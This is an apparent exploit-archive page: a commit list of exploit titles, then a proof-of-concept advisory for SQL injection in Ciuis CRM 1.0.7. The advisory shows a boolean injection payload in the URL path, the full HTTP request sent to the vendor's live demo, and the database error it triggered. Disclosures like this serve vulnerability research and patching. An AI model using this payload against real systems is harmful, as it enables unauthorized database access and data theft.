813a3efbb5
20 changes to exploits/shellcodes Allok QuickTime to AVI MPEG DVD Converter 3.6.1217 - Buffer Overflow Jnes 1.0.2 - Stack Buffer Overflow Socusoft Photo 2 Video Converter 8.0.0 - Local Buffer Overflow netek 0.8.2 - Denial of Service Cisco Smart Install - Crash (PoC) Schneider Electric InduSoft Web Studio and InTouch Machine Edition - Denial of Service Linux Kernel < 4.17-rc1 - 'AF_LLC' Double Free Linux Kernel 2.6.32 < 3.x.x (CentOS) - 'PERF_EVENTS' Local Privilege Escalation (1) Linux Kernel 2.6.32 < 3.x (CentOS 5/6) - 'PERF_EVENTS' Local Privilege Escalation (1) Adobe Reader PDF - Client Side Request Injection Windows - Local Privilege Escalation Apache Struts Jakarta - Multipart Parser OGNL Injection (Metasploit) Apache Struts 2.3.5 < 2.3.31 / 2.5 < 2.5.10 - 'Jakarta' Multipart Parser OGNL Injection (Metasploit) Adobe Flash < 28.0.0.161 - Use-After-Free Norton Core Secure WiFi Router - 'BLE' Command Injection (PoC) GPON Routers - Authentication Bypass / Command Injection TBK DVR4104 / DVR4216 - Credentials Leak Call of Duty Modern Warefare 2 - Buffer Overflow Squirrelcart 1.x.x - 'cart.php' Remote File Inclusion Squirrelcart 1.x - 'cart.php' Remote File Inclusion Infinity 2.x.x - options[style_dir] Local File Disclosure Infinity 2.x - 'options[style_dir]' Local File Disclosure PHP-Nuke 8.x.x - Blind SQL Injection PHP-Nuke 8.x - Blind SQL Injection WHMCompleteSolution (WHMCS) 3.x.x < 4.0.x - 'cart.php' Local File Disclosure WHMCompleteSolution (WHMCS) 3.x < 4.0.x - 'cart.php' Local File Disclosure WHMCompleteSolution (WHMCS) 3.x.x - 'clientarea.php' Local File Disclosure WHMCompleteSolution (WHMCS) 3.x - 'clientarea.php' Local File Disclosure Ajax Availability Calendar 3.x.x - Multiple Vulnerabilities Ajax Availability Calendar 3.x - Multiple Vulnerabilities vBulletin vBSEO 4.x.x - 'visitormessage.php' Remote Code Injection vBulletin vBSEO 4.x - 'visitormessage.php' Remote Code Injection WordPress Theme Photocrati 4.x.x - SQL Injection / Cross-Site Scripting WordPress Theme Photocrati 4.x - SQL Injection / Cross-Site Scripting Subrion 3.X.x - Multiple Vulnerabilities Subrion 3.x - Multiple Vulnerabilities Ciuis CRM 1.0.7 - SQL Injection LifeSize ClearSea 3.1.4 - Directory Traversal WordPress Plugin Activity Log 2.4.0 - Cross-Site Scripting DLINK DCS-5020L - Remote Code Execution (PoC) Apache Struts2 2.0.0 < 2.3.15 - Prefixed Parameters OGNL Injection
48 lines
No EOL
1.9 KiB
Text
48 lines
No EOL
1.9 KiB
Text
# Exploit Title: [Ciuis CRM v 1.0.7 Sql Injection]
|
|
# Google Dork: [if applicable]
|
|
# Date: [12/15/2017]
|
|
# Exploit Author: [Zahid Abbasi]
|
|
# Contact: http://twitter.com/zahidsec
|
|
# Website: http://zahidabbasi.com
|
|
# Vendor Homepage: [http://ciuis.com/]
|
|
# Software Link: [https://codecanyon.net/item/ciuis-crm/20473489]
|
|
# Version: [1.0.7] (REQUIRED)
|
|
# Tested on: [Win 7 64-bit]
|
|
# CVE : [if applicable]
|
|
|
|
1. Description
|
|
|
|
The injection required user registration on CIUS CRM. Old versions have
|
|
not been tested but it's a guess, they are also vulnerable.
|
|
The URL path filename appears to be vulnerable to SQL injection attacks.
|
|
The payload 65079277 or 7647=07647 was submitted in the URL path
|
|
filename, and a database error message was returned.
|
|
You should review the contents of the error message, and the
|
|
application's handling of other input, to confirm whether a
|
|
vulnerability is present.
|
|
|
|
2. Proof of Concept
|
|
|
|
The live testing was done on demo site of the script.
|
|
https://ciuis.com/demo/accounts/account/4 [URL path filename]
|
|
Request:-
|
|
GET /demo/accounts/account/465079277%20or%207647%3d07647 HTTP/1.1
|
|
Host: ciuis.com
|
|
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0)
|
|
Gecko/20100101 Firefox/56.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Cookie: ci_session=98b5ef21cb2d123fb376f135218129226808fbec
|
|
Connection: close
|
|
Upgrade-Insecure-Requests: 1
|
|
Response:-
|
|
After placing our injection code and forwarding the request. The html
|
|
response is posted below.
|
|
<div id="container">
|
|
<h1>A Database Error Occurred</h1>
|
|
<p>Error Number: 1064</p><p>You have an error in your SQL syntax;
|
|
check the manual that corresponds to your MariaDB server version for the
|
|
right syntax to use near 'and `transactiontype` =0)' at line
|
|
3</p><p>SELECT SUM(`amount`) AS `amount`
|
|
-- |